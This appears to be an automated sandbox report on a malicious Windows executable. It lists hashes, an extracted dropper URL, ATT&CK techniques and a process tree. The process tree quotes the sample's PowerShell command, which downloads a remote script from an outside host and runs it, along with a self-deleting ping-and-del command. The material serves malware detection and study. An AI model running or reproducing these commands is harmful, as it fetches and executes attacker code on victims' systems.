b08f1a1b8feaf67cbae681acaacc46aedbd216586b51236e3181365ce6b488fe

General

Target

c33deedefdb021c129cc4314ce7a032be5fbca79378f8581d0406857040a7fbf.exe
Size

247KB
MD5

f17afa21e88b7a362db5ae8fdfa43de9
SHA1

14b024dfe1f9aa6eb88bc7e2215e4877c92cc01e
SHA256

c33deedefdb021c129cc4314ce7a032be5fbca79378f8581d0406857040a7fbf
SHA512

efbdcd1c0fb91cb15de2935ed500fb0f9a8b3ef1491e9823850e97451348cd3a170bc0ad3c84086438508f7280f100a33ff8299a7de64093129b2d7ea83b8e0d
SSDEEP

3072:98iTSP3d1hp5xnAs03vx54qylRs8crPGjl5mS3qI79TPJvLCw8DSmfNKgAiNNrc4:90zl37r79h2DSm1SgAOmhzN+

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://aszfiltration.com/storage/files/debug2.ps1

Signatures

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

11 3044 powershell.exe
29 3044 powershell.exe
Deletes itself 1 IoCs

Processes:

cmd.exe

pid process

3020 cmd.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

1740 PING.EXE
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

3044 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 3044 powershell.exe

flow	pid	process
11	3044	powershell.exe
29	3044	powershell.exe

pid	process
3020	cmd.exe

pid	process
1740	PING.EXE

pid	process
3044	powershell.exe

description	pid	process
Token: SeDebugPrivilege	3044	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

Processes:

c33deedefdb021c129cc4314ce7a032be5fbca79378f8581d0406857040a7fbf.execmd.execmd.exe

description	pid	process	target process
PID 2220 wrote to memory of 2076	2220	c33deedefdb021c129cc4314ce7a032be5fbca79378f8581d0406857040a7fbf.exe	cmd.exe
PID 2220 wrote to memory of 2076	2220	c33deedefdb021c129cc4314ce7a032be5fbca79378f8581d0406857040a7fbf.exe	cmd.exe
PID 2220 wrote to memory of 2076	2220	c33deedefdb021c129cc4314ce7a032be5fbca79378f8581d0406857040a7fbf.exe	cmd.exe
PID 2220 wrote to memory of 2076	2220	c33deedefdb021c129cc4314ce7a032be5fbca79378f8581d0406857040a7fbf.exe	cmd.exe
PID 2076 wrote to memory of 3044	2076	cmd.exe	powershell.exe
PID 2076 wrote to memory of 3044	2076	cmd.exe	powershell.exe
PID 2076 wrote to memory of 3044	2076	cmd.exe	powershell.exe
PID 2220 wrote to memory of 3020	2220	c33deedefdb021c129cc4314ce7a032be5fbca79378f8581d0406857040a7fbf.exe	cmd.exe
PID 2220 wrote to memory of 3020	2220	c33deedefdb021c129cc4314ce7a032be5fbca79378f8581d0406857040a7fbf.exe	cmd.exe
PID 2220 wrote to memory of 3020	2220	c33deedefdb021c129cc4314ce7a032be5fbca79378f8581d0406857040a7fbf.exe	cmd.exe
PID 2220 wrote to memory of 3020	2220	c33deedefdb021c129cc4314ce7a032be5fbca79378f8581d0406857040a7fbf.exe	cmd.exe
PID 3020 wrote to memory of 1740	3020	cmd.exe	PING.EXE
PID 3020 wrote to memory of 1740	3020	cmd.exe	PING.EXE
PID 3020 wrote to memory of 1740	3020	cmd.exe	PING.EXE
PID 3020 wrote to memory of 1740	3020	cmd.exe	PING.EXE

C:\Users\Admin\AppData\Local\Temp\c33deedefdb021c129cc4314ce7a032be5fbca79378f8581d0406857040a7fbf.exe
"C:\Users\Admin\AppData\Local\Temp\c33deedefdb021c129cc4314ce7a032be5fbca79378f8581d0406857040a7fbf.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2220
- C:\Windows\system32\cmd.exe
  "C:\Windows\sysnative\cmd.exe" /c "powershell -command IEX(New-Object Net.Webclient).DownloadString('https://aszfiltration.com/storage/files/debug2.ps1')"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2076
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command IEX(New-Object Net.Webclient).DownloadString('https://aszfiltration.com/storage/files/debug2.ps1')
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3044
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\c33deedefdb021c129cc4314ce7a032be5fbca79378f8581d0406857040a7fbf.exe" >> NUL
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:3020
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:1740

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Remote System Discovery

1

T1018

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/3044-4-0x000000001B370000-0x000000001B652000-memory.dmp

Filesize
2.9MB

Download
memory/3044-5-0x00000000020C0000-0x00000000020C8000-memory.dmp

Filesize
32KB

Download
memory/3044-6-0x000007FEF5A80000-0x000007FEF641D000-memory.dmp

Filesize
9.6MB

Download
memory/3044-7-0x0000000002B00000-0x0000000002B80000-memory.dmp

Filesize
512KB

Download
memory/3044-8-0x0000000002B00000-0x0000000002B80000-memory.dmp

Filesize
512KB

Download
memory/3044-9-0x0000000002B00000-0x0000000002B80000-memory.dmp

Filesize
512KB

Download
memory/3044-10-0x000007FEF5A80000-0x000007FEF641D000-memory.dmp

Filesize
9.6MB

Download
memory/3044-11-0x000007FEF5A80000-0x000007FEF641D000-memory.dmp

Filesize
9.6MB

Download
memory/3044-12-0x0000000002B00000-0x0000000002B80000-memory.dmp

Filesize
512KB

Download
memory/3044-14-0x0000000002B00000-0x0000000002B80000-memory.dmp

Filesize
512KB

Download
memory/3044-13-0x0000000002B00000-0x0000000002B80000-memory.dmp

Filesize
512KB

Download
memory/3044-15-0x0000000002B00000-0x0000000002B80000-memory.dmp

Filesize
512KB

Download
memory/3044-16-0x000007FEF5A80000-0x000007FEF641D000-memory.dmp

Filesize
9.6MB

Download
memory/3044-17-0x0000000002B00000-0x0000000002B80000-memory.dmp

Filesize
512KB

Download

Analysis

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